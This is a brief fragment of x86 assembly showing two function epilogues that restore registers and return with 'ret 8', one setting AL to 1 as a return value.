pop esi
mov esp, ebp
pop ebp
ret 8
pop edi
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret 8